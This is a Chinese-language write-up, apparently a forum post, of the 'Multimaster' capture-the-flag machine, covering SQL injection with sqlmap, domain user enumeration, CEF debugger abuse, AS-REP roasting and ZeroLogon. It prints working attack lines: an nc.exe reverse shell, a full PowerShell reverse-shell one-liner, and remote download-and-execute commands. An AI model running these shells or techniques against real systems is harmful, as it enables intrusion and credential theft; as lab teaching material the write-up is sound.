域渗透实战之Multimaster
vghost 发表于 辽宁 渗透测试 858浏览 · 2024-01-21 14:39

信息收集

端口扫描

首先使用nmap去探测存活的端口,发现该主机为一个域主机。

网络共享

接着查看其网络共享,未发现其存在网络共享。

访问80端口,发现一个web网页。

接着发现一个登陆框。

发现其页面里面存在延时。

目录爆破

使用工具对该网站进行爆破目录。

未发现有用的东西。

然后使用burp抓包进行测试。

漏洞利用

SQL注入

尝试过{"name":{"$ne":"0xdf"}},返回一个空数组。

添加Content-Type. 调用了charset=utf-8. 我查了一下字符',它的 ASCII 十六进制值为 0x27。
发送\u27,返回错误:

Dump用户

使用sqlmap来跑数据
sqlmap -r sqlmap.txt --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch--proxy http://127.0.0.1:8080 --dump-all--exclude-sysdbs

成功跑出数据库
sqlmap -r colleagues.request --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch--proxy http://127.0.0.1:8080 --dump-all--exclude-sysdbs

破解哈希值

使用hashcat来爆破hash

测试可用用户

使用crackmapexec来检测可用用户

转储域用户

尝试使用MSSQL 转储域用户

获取默认域

第一步是获取带有SELECT DEFAULT_DOMAIN(). 用该查询替换所有静态CHAR以获得:

获取域 RID

使用SUSER_SID已知组上的函数来获取域 RID

构建用户 RID

默认管理员是 RID 500。将其填充到 4 字节 (0x000001f4) 并反转字节顺序 (0xf4010000) 来创建此 RID。管理员 RID 是0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000

脚本爆破

使用脚本爆破

测试域用户密码
使用crackmapexec来检查域用户的可用性。

成功获得MEGACORP\tushikikatomo:finance1用户

WinRM获取shell

使用WinRM 获取shell
并获取user.txt

Priv: tushikikatomo –> cyork

枚举

目录枚举,查找可用文件。

CEF调试

\cefdebug.exe--code"process.version"--url ws://127.0.0.1:63254/3788348a-7950-47f9-a91d-14ee16ffc052
.\cefdebug --code"process.mainModule.require('child_process').exec('whoami > C:\windows\system32\spool\drivers\color\x')"  ws://127.0.0.1:63254/3788348a-7950-47f9-a91d-14ee16ffc052a-b0
1a-629102094b

使用cefdebug.exe来进行调试。

.\cefdebug --code "process.mainModule.require('child_process').exec('C:\\programdata\\nc.exe 10.10.16.10 443 -e cmd')"--urlws://127.0.0.1:60404/830$client = New-Object 
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.10',5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();

.\cefdebug.exe --url ws://127.0.0.1:38802/8dcd4ac7-49f5-4652-9c95-3f0d7766ffc7 --code "process.mainModule.require('child_process').exec('powershell IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.16.10/shell.ps1\')')"

接着上传nc

反弹shell

Priv: cyork –> sbauer

发现一个自定义的 dll 文件,在\inetpub\wwwroot\bin\目录下

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.174.1:1234/evil.txt','evil.exe')

使用 DNSpy逆向之后,获取登录用户名和密码。
接着进行测试用户

WinRM

继续使用winrm获取shell

Priv: sbauer –> jordan

Bloodhound利用

上传SharpHound.exe

Bloodhound 分析

将其加载到 Bloodhound 中,显示我拥有的三个帐户并将它们标记为此类(右键单击并选择“标记为拥有”)。运行查询“到高价值目标的最短路径

Bypass-AMSI

使用Evil-WinRM来进行Bypass AMSI

获取 AS-REP 哈希值

发现NORMAL_ACCOUNT和DONT_EXPIRE_PASSWORD标志:

将它下载到本地,然后进行解密。

WinRM获取shell

权限提升

用户枚举

jorden 属于服务器操作员组:

ZeroLogon获取域控权限

发现域内存在CVE-2020-1472
使用脚本进行尝试,成功获取域管hash

获取root.txt

成功获取root.txt

0 条评论
某人
表情
可输入 255